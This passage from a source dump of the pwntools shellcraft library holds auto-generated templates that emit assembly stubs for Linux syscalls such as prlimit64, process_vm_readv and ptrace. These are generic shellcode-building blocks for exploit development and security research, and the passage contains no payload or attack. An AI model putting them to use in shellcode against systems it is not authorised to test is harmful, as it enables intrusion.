argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_preadv2']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_preadv2'])\n%>\n    /* preadv2(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/prlimit64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>prlimit64(pid, resource, new_limit, old_limit) -> str\n\nInvokes the syscall prlimit64.\n\nSee 'man 2 prlimit64' for more information.\n\nArguments:\n    pid(pid_t): pid\n    resource(rlimit_resource): resource\n    new_limit(rlimit64*): new_limit\n    old_limit(rlimit64*): old_limit\nReturns:\n    int\n</%docstring>\n<%page args=\"pid=0, resource=0, new_limit=0, old_limit=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['pid', 'resource', 'new_limit', 'old_limit']\n    argument_values = [pid, resource, new_limit, old_limit]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_prlimit64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_prlimit64'])\n%>\n    /* prlimit64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/process_madvise.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>process_madvise(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall process_madvise.\n\nSee 'man 2 process_madvise' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_process_madvise']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_process_madvise'])\n%>\n    /* process_madvise(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/process_vm_readv.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>process_vm_readv(pid, lvec, liovcnt, rvec, riovcnt, flags) -> str\n\nInvokes the syscall process_vm_readv.\n\nSee 'man 2 process_vm_readv' for more information.\n\nArguments:\n    pid(pid_t): pid\n    lvec(iovec*): lvec\n    liovcnt(unsigned): liovcnt\n    rvec(iovec*): rvec\n    riovcnt(unsigned): riovcnt\n    flags(unsigned): flags\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"pid=0, lvec=0, liovcnt=0, rvec=0, riovcnt=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['pid', 'lvec', 'liovcnt', 'rvec', 'riovcnt', 'flags']\n    argument_values = [pid, lvec, liovcnt, rvec, riovcnt, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_process_vm_readv']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_process_vm_readv'])\n%>\n    /* process_vm_readv(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/process_vm_writev.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>process_vm_writev(pid, lvec, liovcnt, rvec, riovcnt, flags) -> str\n\nInvokes the syscall process_vm_writev.\n\nSee 'man 2 process_vm_writev' for more information.\n\nArguments:\n    pid(pid_t): pid\n    lvec(iovec*): lvec\n    liovcnt(unsigned): liovcnt\n    rvec(iovec*): rvec\n    riovcnt(unsigned): riovcnt\n    flags(unsigned): flags\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"pid=0, lvec=0, liovcnt=0, rvec=0, riovcnt=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['pid', 'lvec', 'liovcnt', 'rvec', 'riovcnt', 'flags']\n    argument_values = [pid, lvec, liovcnt, rvec, riovcnt, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_process_vm_writev']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_process_vm_writev'])\n%>\n    /* process_vm_writev(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/prof.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>prof(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall prof.\n\nSee 'man 2 prof' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_prof']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_prof'])\n%>\n    /* prof(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/profil.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>profil(sample_buffer, size, offset, scale) -> str\n\nInvokes the syscall profil.\n\nSee 'man 2 profil' for more information.\n\nArguments:\n    sample_buffer(unsigned*): sample_buffer\n    size(size_t): size\n    offset(size_t): offset\n    scale(unsigned): scale\nReturns:\n    int\n</%docstring>\n<%page args=\"sample_buffer=0, size=0, offset=0, scale=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['sample_buffer', 'size', 'offset', 'scale']\n    argument_values = [sample_buffer, size, offset, scale]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_profil']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_profil'])\n%>\n    /* profil(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/pselect6.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>pselect6(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall pselect6.\n\nSee 'man 2 pselect6' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_pselect6']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_pselect6'])\n%>\n    /* pselect6(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/pselect6_time64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>pselect6_time64(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall pselect6_time64.\n\nSee 'man 2 pselect6_time64' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_pselect6_time64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_pselect6_time64'])\n%>\n    /* pselect6_time64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/ptrace.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>ptrace(request, vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall ptrace.\n\nSee 'man 2 ptrace' for more information.\n\nArguments:\n    request(ptrace_request): request\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"request=0, vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['request', 'vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [request, vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for 